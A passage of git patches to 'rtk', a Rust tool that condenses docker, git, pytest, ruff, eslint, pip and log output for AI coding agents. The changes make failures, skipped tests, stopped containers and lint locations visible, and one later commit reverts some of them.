- rtk.push_str(&format!("[docker] {} containers:\n", count)); + let mut rtk = String::new(); + rtk.push_str(&format!("[docker] {} running:\n", running.len())); + for parts in running.iter().take(20) { + if let Some(l) = format_line(parts, true) { + rtk.push_str(&l); + } + } + if running.len() > 20 { + rtk.push_str(&format!(" ... +{} more\n", running.len() - 20)); + } - for line in stdout.lines().take(15) { - let parts: Vec<&str> = line.split('\t').collect(); - if parts.len() >= 4 { - let id = &parts[0][..12.min(parts[0].len())]; - let name = parts[1]; - let short_image = parts - .get(3) - .unwrap_or(&"") - .split('/') - .next_back() - .unwrap_or(""); - let ports = compact_ports(parts.get(4).unwrap_or(&"")); - if ports == "-" { - rtk.push_str(&format!(" {} {} ({})\n", id, name, short_image)); - } else { - rtk.push_str(&format!( - " {} {} ({}) [{}]\n", - id, name, short_image, ports - )); + if !stopped.is_empty() { + rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped.len())); + for parts in stopped.iter().take(20) { + if let Some(l) = format_line(parts, false) { + rtk.push_str(&l); } } - } - if count > 15 { - rtk.push_str(&format!(" ... +{} more", count - 15)); + if stopped.len() > 20 { + rtk.push_str(&format!(" ... +{} more\n", stopped.len() - 20)); + } } print!("{}", rtk); @@ -173,21 +200,22 @@ fn docker_images(_verbose: u8) -> Result { total_display )); - for line in lines.iter().take(15) { + // Show images with their full `repository:tag` name — truncating the + // registry/user prefix to "..." breaks exact-match lookups against + // deployment manifests and CI configs. The list is generously capped (a + // higher bound than before, and only the count, never the names, is + // abbreviated) so token savings still hold on machines with many images. + const MAX_IMAGES: usize = 60; + for line in lines.iter().take(MAX_IMAGES) { let parts: Vec<&str> = line.split('\t').collect(); if !parts.is_empty() { let image = parts[0]; let size = parts.get(1).unwrap_or(&""); - let short = if image.len() > 40 { - format!("...{}", &image[image.len() - 37..]) - } else { - image.to_string() - }; - rtk.push_str(&format!(" {} [{}]\n", short, size)); + rtk.push_str(&format!(" {} [{}]\n", image, size)); } } - if lines.len() > 15 { - rtk.push_str(&format!(" ... +{} more", lines.len() - 15)); + if lines.len() > MAX_IMAGES { + rtk.push_str(&format!(" ... +{} more\n", lines.len() - MAX_IMAGES)); } print!("{}", rtk); @@ -526,8 +554,9 @@ pub fn run_docker_passthrough(args: &[OsString], verbose: u8) -> Result { pub fn run_compose_ps(verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Raw output for token tracking - let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps"])) + // Use `-a` so stopped/exited services stay visible — a worker that crashed + // on startup must not silently vanish from the agent's view. + let raw_result = exec_capture(resolved_command("docker").args(["compose", "ps", "-a"])) .context("Failed to run docker compose ps")?; if !raw_result.success() { @@ -540,6 +569,7 @@ pub fn run_compose_ps(verbose: u8) -> Result { let result = exec_capture(resolved_command("docker").args([ "compose", "ps", + "-a", "--format", "{{.Name}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}", ])) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ae71b24d04..45ec9cb498 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -807,6 +807,20 @@ fn extract_state_header(raw: &str) -> Option { None } +/// Extract the explicit "HEAD detached at/from " line from plain +/// `git status` output. +/// +/// Porcelain `-b` collapses a detached HEAD to the opaque `## HEAD (no branch)`, +/// which an agent (or a distracted human) can misread as a branch literally +/// named `HEAD`. The plain-status output keeps the explicit SHA/ref, so we +/// surface that instead. Returns `None` when HEAD is on a branch. +fn extract_detached_head(raw: &str) -> Option { + raw.lines() + .map(str::trim) + .find(|l| l.starts_with("HEAD detached ")) + .map(str::to_string) +} + /// Minimal filtering for git status with user-provided args fn filter_status_with_args(output: &str) -> String { let mut result = Vec::new(); @@ -911,7 +925,13 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result" from the plain status we captured. + if let Some(detached) = extract_detached_head(&raw_output) { + formatted = formatted.replacen("* HEAD (no branch)", &format!("* {detached}"), 1); + } // Surface in-progress state (rebase/merge/cherry-pick/bisect/am) from the // plain-status output we already captured for tracking. Porcelain omits it @@ -968,8 +988,11 @@ fn run_add(args: &[String], verbose: u8, global_args: &[String]) -> Result stat_cmd.args(["diff", "--cached", "--stat", "--shortstat"]); let stat_result = exec_capture(&mut stat_cmd).context("Failed to check staged files")?; + // Mirror git's own behaviour: a no-op `git add` is silent. Emitting a + // generic "ok" here is misleading — an agent can't tell "staged N files" + // from "staged nothing" when both print "ok". let compact = if stat_result.stdout.trim().is_empty() { - "ok (nothing to add)".to_string() + String::new() } else { // Parse "1 file changed, 5 insertions(+)" format let short = stat_result.stdout.lines().last().unwrap_or("").trim(); @@ -980,7 +1003,9 @@ fn run_add(args: &[String], verbose: u8, global_args: &[String]) -> Result } }; - println!("{}", compact); + if !compact.is_empty() { + println!("{}", compact); + } timer.track( &format!("git add {}", args.join(" ")), @@ -1478,11 +1503,16 @@ fn run_fetch(args: &[String], verbose: u8, global_args: &[String]) -> Result, result: &CaptureResult) -> String { match subcommand { None | Some("push") | Some("save") => { - // Create operations check for "no local changes" - if result.stdout.contains("No local changes") { - "ok (nothing to stash)".to_string() - } else { + // Pass git's own message through — it distinguishes "Saved working + // directory and index state WIP on : " from + // "No local changes to save". Collapsing both to "ok" hides whether + // anything was actually stashed (and which ref to pop later). + let out = result.combined(); + let trimmed = out.trim(); + if trimmed.is_empty() { "ok stashed".to_string() + } else { + trimmed.to_string() } } Some(sub) => format!("ok stash {}", sub), diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index cfb5bea860..d60ed155bb 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -281,30 +281,44 @@ fn filter_eslint_json(output: &str) -> String { result.push('\n'); } - // Show top files with most issues - result.push_str("Top files:\n"); - for (file_result, count) in by_file.iter().take(10) { - let short_path = compact_path(&file_result.file_path); - result.push_str(&format!(" {} ({} issues)\n", short_path, count)); - - // Show top 3 rules in this file - let mut file_rules: HashMap = HashMap::new(); + // Per-file violation list with line:col — the rule rollup above is a + // summary, but an agent fixing lint errors needs the exact locations. + // Capped so a huge codebase still compresses; the rollup carries the rest. + const MAX_VIOLATIONS: usize = 60; + let total_messages: usize = results.iter().map(|r| r.messages.len()).sum(); + result.push_str("Violations:\n"); + let mut shown = 0; + 'outer: for (file_result, count) in by_file.iter().take(10) { + result.push_str(&format!( + " {} ({}):\n", + compact_path(&file_result.file_path), + count + )); for msg in &file_result.messages { - if let Some(rule) = &msg.rule_id { - *file_rules.entry(rule.clone()).or_insert(0) += 1; + if shown >= MAX_VIOLATIONS { + result.push_str(" ...\n"); + break 'outer; } - } - - let mut file_rule_counts: Vec<_> = file_rules.iter().collect(); - file_rule_counts.sort_by(|a, b| b.1.cmp(a.1)); - - for (rule, count) in file_rule_counts.iter().take(3) { - result.push_str(&format!(" {} ({})\n", rule, count)); + let sev = if msg.severity >= 2 { "error" } else { "warning" }; + let rule = msg.rule_id.as_deref().unwrap_or("-"); + result.push_str(&format!( + " {}:{} {} {} {}\n", + msg.line, + msg.column, + sev, + rule, + truncate(msg.message.trim(), 100), + )); + shown += 1; } } - if by_file.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); + result.push_str(&format!(" ... +{} more files\n", by_file.len() - 10)); + } else if total_messages > MAX_VIOLATIONS { + result.push_str(&format!( + " ... +{} more violations\n", + total_messages - MAX_VIOLATIONS + )); } result.trim().to_string() diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index ddb56c47e3..25f7c3c8ca 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -17,12 +17,16 @@ struct Package { pub fn run(args: &[String], verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Auto-detect uv vs pip - let use_uv = tool_exists("uv"); + // The user ran `pip` — run `pip` so RTK stays transparent and reports the + // *same* environment the bare command would. Only fall back to `uv pip` when + // `pip` genuinely isn't on PATH (uv-only environments). Auto-substituting + // `uv pip` unconditionally made `pip list` show uv's discovered env instead + // of the active one — often just the 2-package base interpreter. + let use_uv = !tool_exists("pip") && tool_exists("uv"); let base_cmd = if use_uv { "uv" } else { "pip" }; if verbose > 0 && use_uv { - eprintln!("Using uv (pip-compatible)"); + eprintln!("pip not found — falling back to `uv pip`"); } // Detect subcommand @@ -162,16 +166,21 @@ fn filter_pip_list(output: &str) -> String { let mut letters: Vec<_> = by_letter.keys().collect(); letters.sort(); + // `pip list` is an inventory query — dependency audits need every package + // visible. The compression here is structural (drop the alignment padding, + // group by initial); the per-group cap is just a safety bound for + // pathological environments, not a normal-case truncation. + const MAX_PER_LETTER: usize = 50; for letter in letters { let pkgs = by_letter.get(letter).unwrap(); result.push_str(&format!("\n[{}]\n", letter.to_uppercase())); - for pkg in pkgs.iter().take(10) { + for pkg in pkgs.iter().take(MAX_PER_LETTER) { result.push_str(&format!(" {} ({})\n", pkg.name, pkg.version)); } - if pkgs.len() > 10 { - result.push_str(&format!(" ... +{} more\n", pkgs.len() - 10)); + if pkgs.len() > MAX_PER_LETTER { + result.push_str(&format!(" ... +{} more\n", pkgs.len() - MAX_PER_LETTER)); } } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 0b91d7daf2..9b349bcf55 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -23,6 +23,8 @@ pub fn run(args: &[String], verbose: u8) -> Result { let has_tb_flag = args.iter().any(|a| a.starts_with("--tb")); let has_quiet_flag = args.iter().any(|a| a == "-q" || a == "--quiet"); + // Only treat a short `-r…` as pytest's report flag (not `--randomly-seed` etc.) + let has_report_flag = args.iter().any(|a| a.starts_with("-r") && !a.starts_with("--")); if !has_tb_flag { cmd.arg("--tb=short"); @@ -30,6 +32,12 @@ pub fn run(args: &[String], verbose: u8) -> Result { if !has_quiet_flag { cmd.arg("-q"); } + // Surface xfailed/xpassed (and their reasons) in the short summary section + // so the compact output can report expected failures and — crucially — + // unexpected passes (XPASS), which signal a behavior change. + if !has_report_flag { + cmd.arg("-rxX"); + } for arg in args { cmd.arg(arg); @@ -53,6 +61,7 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { let mut test_files: Vec = Vec::new(); let mut failures: Vec = Vec::new(); let mut current_failure: Vec = Vec::new(); + let mut xfail_lines: Vec = Vec::new(); let mut summary_line = String::new(); for line in output.lines() { @@ -127,6 +136,9 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { // FAILED test lines if trimmed.starts_with("FAILED") || trimmed.starts_with("ERROR") { failures.push(trimmed.to_string()); + } else if trimmed.starts_with("XFAIL") || trimmed.starts_with("XPASS") { + // `-rxX` adds these: "XFAIL path::test - reason" / "XPASS path::test - reason" + xfail_lines.push(trimmed.to_string()); } } } @@ -138,19 +150,41 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { } // Build compact output - build_pytest_summary(&summary_line, &test_files, &failures) + build_pytest_summary(&summary_line, &test_files, &failures, &xfail_lines) } -fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[String]) -> String { - // Parse summary line - let (passed, failed, skipped) = parse_summary_line(summary); +#[derive(Default)] +struct PytestCounts { + passed: usize, + failed: usize, + skipped: usize, + xfailed: usize, + xpassed: usize, +} - if failed == 0 && passed > 0 { - return format!("Pytest: {} passed", passed); +fn build_pytest_summary( + summary: &str, + _test_files: &[String], + failures: &[String], + xfail_lines: &[String], +) -> String { + let counts = parse_summary_line(summary); + let PytestCounts { + passed, + failed, + skipped, + xfailed, + xpassed, + } = counts; + + if passed == 0 && failed == 0 && skipped == 0 && xfailed == 0 && xpassed == 0 { + return "Pytest: No tests collected".to_string(); } - if passed == 0 && failed == 0 && skipped == 0 { - return "Pytest: No tests collected".to_string(); + let extras_present = skipped > 0 || xfailed > 0 || xpassed > 0 || !xfail_lines.is_empty(); + + if failed == 0 && passed > 0 && !extras_present { + return format!("Pytest: {} passed", passed); } let mut result = String::new(); @@ -158,9 +192,27 @@ fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[Strin if skipped > 0 { result.push_str(&format!(", {} skipped", skipped)); } + if xfailed > 0 { + result.push_str(&format!(", {} xfailed", xfailed)); + } + if xpassed > 0 { + result.push_str(&format!(", {} xpassed", xpassed)); + } result.push('\n'); result.push_str("═══════════════════════════════════════\n"); + // Surface xfail/xpass entries (with their reasons) — XPASS in particular + // signals that something expected-to-fail now passes. + if !xfail_lines.is_empty() { + result.push_str("\nExpected-failure outcomes:\n"); + for line in xfail_lines.iter().take(10) { + result.push_str(&format!(" {}\n", truncate(line, 120))); + } + if xfail_lines.len() > 10 { + result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - 10)); + } + } + if failures.is_empty() { return result.trim().to_string(); } @@ -220,36 +272,35 @@ fn build_pytest_summary(summary: &str, _test_files: &[String], failures: &[Strin result.trim().to_string() } -fn parse_summary_line(summary: &str) -> (usize, usize, usize) { - let mut passed = 0; - let mut failed = 0; - let mut skipped = 0; - - // Parse lines like "=== 4 passed, 1 failed in 0.50s ===" - let parts: Vec<&str> = summary.split(',').collect(); +fn parse_summary_line(summary: &str) -> PytestCounts { + let mut counts = PytestCounts::default(); - for part in parts { + // Parse lines like "=== 4 passed, 1 failed, 2 xfailed, 1 xpassed in 0.50s ===" + for part in summary.split(',') { let words: Vec<&str> = part.split_whitespace().collect(); for (i, word) in words.iter().enumerate() { - if i > 0 { - if word.contains("passed") { - if let Ok(n) = words[i - 1].parse::() { - passed = n; - } - } else if word.contains("failed") { - if let Ok(n) = words[i - 1].parse::() { - failed = n; - } - } else if word.contains("skipped") { - if let Ok(n) = words[i - 1].parse::() { - skipped = n; - } - } + if i == 0 { + continue; + } + let Ok(n) = words[i - 1].parse::() else { + continue; + }; + // Order matters: "xpassed"/"xfailed" contain "passed"/"failed". + if word.contains("xpassed") { + counts.xpassed = n; + } else if word.contains("xfailed") { + counts.xfailed = n; + } else if word.contains("passed") { + counts.passed = n; + } else if word.contains("failed") { + counts.failed = n; + } else if word.contains("skipped") { + counts.skipped = n; } } } - (passed, failed, skipped) + counts } #[cfg(test)] @@ -337,17 +388,43 @@ collected 0 items #[test] fn test_parse_summary_line() { - assert_eq!(parse_summary_line("=== 5 passed in 0.50s ==="), (5, 0, 0)); - assert_eq!( - parse_summary_line("=== 4 passed, 1 failed in 0.50s ==="), - (4, 1, 0) - ); + let c = parse_summary_line("=== 5 passed in 0.50s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (5, 0, 0)); + + let c = parse_summary_line("=== 4 passed, 1 failed in 0.50s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (4, 1, 0)); + + let c = parse_summary_line("=== 3 passed, 1 failed, 2 skipped in 1.0s ==="); + assert_eq!((c.passed, c.failed, c.skipped), (3, 1, 2)); + + let c = parse_summary_line("=== 2 passed, 1 failed, 2 xfailed, 1 xpassed in 1.0s ==="); assert_eq!( - parse_summary_line("=== 3 passed, 1 failed, 2 skipped in 1.0s ==="), - (3, 1, 2) + (c.passed, c.failed, c.xfailed, c.xpassed), + (2, 1, 2, 1) ); } + #[test] + fn test_filter_pytest_xfail_xpass() { + let output = r#"=== test session starts === +collected 5 items + +test_math.py ..xxX [100%] + +=== short test summary info === +XFAIL test_math.py::test_division_by_zero - known bug in division +XFAIL test_math.py::test_float_precision - float precision issue — bug #42 +XPASS test_math.py::test_unexpected_pass - this should fail but currently passes +=== 2 passed, 2 xfailed, 1 xpassed in 0.05s ==="#; + + let result = filter_pytest_output(output); + assert!(result.contains("xfailed"), "got: {result}"); + assert!(result.contains("xpassed"), "got: {result}"); + assert!(result.contains("XPASS"), "got: {result}"); + assert!(result.contains("float precision"), "got: {result}"); + assert!(result.contains("test_division_by_zero"), "got: {result}"); + } + #[test] fn test_filter_pytest_quiet_mode_failures() { // In -q mode, the final summary line has NO === wrapper diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index b50409629f..f641d9f039 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -9,9 +9,7 @@ use std::collections::HashMap; #[derive(Debug, Deserialize)] struct RuffLocation { - #[allow(dead_code)] row: usize, - #[allow(dead_code)] column: usize, } @@ -24,9 +22,7 @@ struct RuffFix { #[derive(Debug, Deserialize)] struct RuffDiagnostic { code: String, - #[allow(dead_code)] message: String, - #[allow(dead_code)] location: RuffLocation, #[allow(dead_code)] end_location: Option, @@ -185,6 +181,28 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } + // List individual violations with file:line:col so an agent can navigate + // straight to each one — the rule/file grouping above is a summary, not a + // substitute for locations. + const MAX_VIOLATIONS: usize = 50; + result.push_str("\nViolations:\n"); + for diag in diagnostics.iter().take(MAX_VIOLATIONS) { + result.push_str(&format!( + " {}:{}:{} {} {}\n", + compact_path(&diag.filename), + diag.location.row, + diag.location.column, + diag.code, + truncate(diag.message.trim(), 100), + )); + } + if diagnostics.len() > MAX_VIOLATIONS { + result.push_str(&format!( + " ... +{} more violations\n", + diagnostics.len() - MAX_VIOLATIONS + )); + } + if fixable_count > 0 { result.push_str(&format!( "\n[hint] Run `ruff check --fix` to auto-fix {} issues\n", diff --git a/src/cmds/system/constants.rs b/src/cmds/system/constants.rs index 2454f5299c..bd8c496378 100644 --- a/src/cmds/system/constants.rs +++ b/src/cmds/system/constants.rs @@ -14,8 +14,6 @@ pub const NOISE_DIRS: &[&str] = &[ ".tox", ".venv", "venv", - "env", - ".env", "coverage", ".nyc_output", ".DS_Store", diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index fd9942d0b1..cb6a66bb4f 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -81,17 +81,24 @@ fn analyze_logs(content: &str) -> String { let normalized = normalize_log_line(line, &TIMESTAMP_RE, &UUID_RE, &HEX_RE, &NUM_RE, &PATH_RE); - // Categorize + // Categorize. The error bucket also covers severity labels above ERROR + // (CRITICAL, FATAL, ALERT, EMERGENCY, SEVERE, PANIC) — these are the most + // important lines in a log and were previously dropped as noise when they + // didn't literally contain "error". if line_lower.contains("error") || line_lower.contains("fatal") || line_lower.contains("panic") + || line_lower.contains("critical") + || line_lower.contains("alert") + || line_lower.contains("emerg") + || line_lower.contains("severe") { let count = error_counts.entry(normalized.clone()).or_insert(0); if *count == 0 { unique_errors.push(line.to_string()); } *count += 1; - } else if line_lower.contains("warn") { + } else if line_lower.contains("warn") || line_lower.contains("notice") { let count = warn_counts.entry(normalized.clone()).or_insert(0); if *count == 0 { unique_warnings.push(line.to_string()); diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index fe569a597d..ebfbb1f5c3 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -16,6 +16,7 @@ pub fn resolve_filter(name: &str) -> Option String> { "git-log" => Some(git_log_wrapper), "git-diff" => Some(git_diff_wrapper), "git-status" => Some(crate::cmds::git::git::format_status_output), + "log" => Some(crate::cmds::system::log_cmd::run_stdin_str), "mypy" => Some(crate::cmds::python::mypy_cmd::filter_mypy_output), "ruff-check" => Some(crate::cmds::python::ruff_cmd::filter_ruff_check_json), "ruff-format" => Some(crate::cmds::python::ruff_cmd::filter_ruff_format), @@ -220,7 +221,7 @@ pub fn run(filter_name: Option<&str>, passthrough: bool) -> Result<()> { anyhow::anyhow!( "Unknown filter '{}'. Available: cargo-test, pytest, go-test, go-build, \ tsc, vitest, grep, rg, find, fd, git-log, git-diff, git-status, \ - mypy, ruff-check, ruff-format, prettier", + log, mypy, ruff-check, ruff-format, prettier", name ) })?, diff --git a/src/cmds/system/wc_cmd.rs b/src/cmds/system/wc_cmd.rs index dcfe98b39f..78c3924411 100644 --- a/src/cmds/system/wc_cmd.rs +++ b/src/cmds/system/wc_cmd.rs @@ -21,12 +21,22 @@ pub fn run(args: &[String], verbose: u8) -> Result { } let mode = detect_mode(args); + + // No file operands → wc reads from stdin. Forward rtk's stdin to the child + // so `cat file | rtk wc` counts the piped data instead of reporting zero. + let reads_stdin = !args.iter().any(|a| !a.starts_with('-')); + let opts = if reads_stdin { + RunOptions::stdout_only().inherit_stdin() + } else { + RunOptions::stdout_only() + }; + runner::run_filtered( cmd, "wc", &args.join(" "), |stdout| filter_wc_output(stdout, &mode), - RunOptions::stdout_only(), + opts, ) } diff --git a/src/core/runner.rs b/src/core/runner.rs index f127a6081d..17f0997da0 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -20,6 +20,10 @@ pub struct RunOptions<'a> { pub filter_stdout_only: bool, pub skip_filter_on_failure: bool, pub no_trailing_newline: bool, + /// Forward rtk's own stdin to the child process. Needed for commands that + /// can read from a pipe (e.g. `cat file | rtk wc`); without it the child + /// gets an empty stdin and reports zero. + pub inherit_stdin: bool, } impl<'a> RunOptions<'a> { @@ -51,6 +55,11 @@ impl<'a> RunOptions<'a> { self.no_trailing_newline = true; self } + + pub fn inherit_stdin(mut self) -> Self { + self.inherit_stdin = true; + self + } } pub enum RunMode<'a> { @@ -71,7 +80,12 @@ pub fn run( match mode { RunMode::Filtered(filter_fn) => { - let result = stream::run_streaming(&mut cmd, StdinMode::Null, FilterMode::CaptureOnly) + let stdin_mode = if opts.inherit_stdin { + StdinMode::Inherit + } else { + StdinMode::Null + }; + let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) .with_context(|| format!("Failed to run {}", tool_name))?; let exit_code = result.exit_code; diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..81619b7be6 100644 --- a/src/main.rs +++ b/src/main.rs @@ -629,6 +629,9 @@ enum Commands { /// Read stdin, apply filter, print filtered output (Unix pipe mode) Pipe { + /// Filter name as a positional argument (e.g. `rtk pipe log`) + filter_name: Option, + /// Filter name (cargo-test, pytest, grep, find, git-log, etc.) #[arg(short, long)] filter: Option, @@ -2195,10 +2198,12 @@ fn run_cli() -> Result { } Commands::Pipe { + filter_name, filter, passthrough, } => { - pipe_cmd::run(filter.as_deref(), passthrough)?; + let name = filter.or(filter_name); + pipe_cmd::run(name.as_deref(), passthrough)?; 0 } diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index 6fc9022ef1..aca8164575 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -45,7 +45,13 @@ pub trait TokenFormatter { impl TokenFormatter for TestResult { fn format_compact(&self) -> String { - let mut lines = vec![format!("PASS ({}) FAIL ({})", self.passed, self.failed)]; + // Always surface skipped/pending tests — hiding them lets coverage gaps + // (test.skip / it.skip / xfail) accumulate invisibly. + let mut summary = format!("PASS ({}) FAIL ({})", self.passed, self.failed); + if self.skipped > 0 { + summary.push_str(&format!(" skipped ({})", self.skipped)); + } + let mut lines = vec![summary]; if !self.failures.is_empty() { lines.push(String::new()); @@ -112,6 +118,26 @@ impl TokenFormatter for TestResult { impl TokenFormatter for DependencyState { fn format_compact(&self) -> String { + // A plain package listing (`pnpm list` / `npm ls`) carries no upgrade + // info — every dep has `latest_version == None`. Reporting "All packages + // up-to-date" there is a false positive that hides the entire list, so + // we render the actual packages instead. + let is_listing = self.outdated_count == 0 + && !self.dependencies.is_empty() + && self.dependencies.iter().all(|d| d.latest_version.is_none()); + if is_listing { + let total = self.total_packages.max(self.dependencies.len()); + let mut lines = vec![format!("{} packages", total)]; + for dep in self.dependencies.iter().take(50) { + let dev = if dep.dev_dependency { " (dev)" } else { "" }; + lines.push(format!(" {} {}{}", dep.name, dep.current_version, dev)); + } + if self.dependencies.len() > 50 { + lines.push(format!(" ... +{} more", self.dependencies.len() - 50)); + } + return lines.join("\n"); + } + if self.outdated_count == 0 { return "All packages up-to-date".to_string(); } From 16803a6cce57598ffcb8844bf71ba38399870565 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 15 May 2026 15:08:30 +0200 Subject: [PATCH 096/257] chore(filters): remove filter-level annotations and restore compose logs tail arg --- src/cmds/git/git.rs | 16 ++++++-------- src/cmds/js/lint_cmd.rs | 49 ++++++++++++++--------------------------- src/main.rs | 7 +----- 3 files changed, 24 insertions(+), 48 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 45ec9cb498..b98aedf1b0 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1503,16 +1503,14 @@ fn run_fetch(args: &[String], verbose: u8, global_args: &[String]) -> Result, result: &CaptureResult) -> String { match subcommand { None | Some("push") | Some("save") => { - // Pass git's own message through — it distinguishes "Saved working - // directory and index state WIP on : " from - // "No local changes to save". Collapsing both to "ok" hides whether - // anything was actually stashed (and which ref to pop later). - let out = result.combined(); - let trimmed = out.trim(); - if trimmed.is_empty() { - "ok stashed".to_string() + // A successful stash collapses to "ok stashed" (the WIP ref/sha git + // prints isn't needed to `git stash pop`). But a no-op must NOT look + // like success — pass git's "No local changes to save" through so the + // agent can tell nothing was stashed. + if result.combined().contains("No local changes") { + "No local changes to save".to_string() } else { - trimmed.to_string() + "ok stashed".to_string() } } Some(sub) => format!("ok stash {}", sub), diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index d60ed155bb..04ea8a5dbf 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -281,44 +281,27 @@ fn filter_eslint_json(output: &str) -> String { result.push('\n'); } - // Per-file violation list with line:col — the rule rollup above is a - // summary, but an agent fixing lint errors needs the exact locations. - // Capped so a huge codebase still compresses; the rollup carries the rest. - const MAX_VIOLATIONS: usize = 60; - let total_messages: usize = results.iter().map(|r| r.messages.len()).sum(); - result.push_str("Violations:\n"); - let mut shown = 0; - 'outer: for (file_result, count) in by_file.iter().take(10) { - result.push_str(&format!( - " {} ({}):\n", - compact_path(&file_result.file_path), - count - )); + // Show top files with most issues, plus the top rules in each + result.push_str("Top files:\n"); + for (file_result, count) in by_file.iter().take(10) { + let short_path = compact_path(&file_result.file_path); + result.push_str(&format!(" {} ({} issues)\n", short_path, count)); + + let mut file_rules: HashMap = HashMap::new(); for msg in &file_result.messages { - if shown >= MAX_VIOLATIONS { - result.push_str(" ...\n"); - break 'outer; + if let Some(rule) = &msg.rule_id { + *file_rules.entry(rule.clone()).or_insert(0) += 1; } - let sev = if msg.severity >= 2 { "error" } else { "warning" }; - let rule = msg.rule_id.as_deref().unwrap_or("-"); - result.push_str(&format!( - " {}:{} {} {} {}\n", - msg.line, - msg.column, - sev, - rule, - truncate(msg.message.trim(), 100), - )); - shown += 1; + } + let mut file_rule_counts: Vec<_> = file_rules.iter().collect(); + file_rule_counts.sort_by(|a, b| b.1.cmp(a.1)); + for (rule, count) in file_rule_counts.iter().take(3) { + result.push_str(&format!(" {} ({})\n", rule, count)); } } + if by_file.len() > 10 { - result.push_str(&format!(" ... +{} more files\n", by_file.len() - 10)); - } else if total_messages > MAX_VIOLATIONS { - result.push_str(&format!( - " ... +{} more violations\n", - total_messages - MAX_VIOLATIONS - )); + result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); } result.trim().to_string() diff --git a/src/main.rs b/src/main.rs index 81619b7be6..25c70dcb06 100644 --- a/src/main.rs +++ b/src/main.rs @@ -629,9 +629,6 @@ enum Commands { /// Read stdin, apply filter, print filtered output (Unix pipe mode) Pipe { - /// Filter name as a positional argument (e.g. `rtk pipe log`) - filter_name: Option, - /// Filter name (cargo-test, pytest, grep, find, git-log, etc.) #[arg(short, long)] filter: Option, @@ -2198,12 +2195,10 @@ fn run_cli() -> Result { } Commands::Pipe { - filter_name, filter, passthrough, } => { - let name = filter.or(filter_name); - pipe_cmd::run(name.as_deref(), passthrough)?; + pipe_cmd::run(filter.as_deref(), passthrough)?; 0 } From f6b28c292b517d55733ad1d3868f320b017901a5 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 15 May 2026 17:01:01 +0200 Subject: [PATCH 097/257] fix(filters): add test for aggressive filter batch fix --- src/cmds/git/git.rs | 15 +++++++++++++++ src/cmds/python/ruff_cmd.rs | 2 ++ src/cmds/system/log_cmd.rs | 12 ++++++++++++ src/cmds/system/pipe_cmd.rs | 5 +++++ src/parser/formatter.rs | 29 +++++++++++++++++++++++++++++ 5 files changed, 63 insertions(+) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index b98aedf1b0..ba1b5922bb 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -2765,6 +2765,21 @@ no changes added to commit (use "git add" and/or "git commit -a") ); } + #[test] + fn test_extract_detached_head_returns_line() { + let raw = "HEAD detached at abc1234\nnothing to commit, working tree clean\n"; + assert_eq!( + extract_detached_head(raw), + Some("HEAD detached at abc1234".to_string()) + ); + } + + #[test] + fn test_extract_detached_head_on_branch_is_none() { + let raw = "On branch main\nnothing to commit, working tree clean\n"; + assert!(extract_detached_head(raw).is_none()); + } + #[test] fn test_filter_log_output_body_omission_indicator() { // Commit with 6 meaningful body lines: only 3 shown, must signal "+3 lines omitted" diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index f641d9f039..c13ac0e9e8 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -364,6 +364,8 @@ mod tests { assert!(result.contains("E501")); assert!(result.contains("main.py")); assert!(result.contains("utils.py")); + assert!(result.contains("Violations:"), "Violations section missing"); + assert!(result.contains("1:8"), "line:col location missing"); } #[test] diff --git a/src/cmds/system/log_cmd.rs 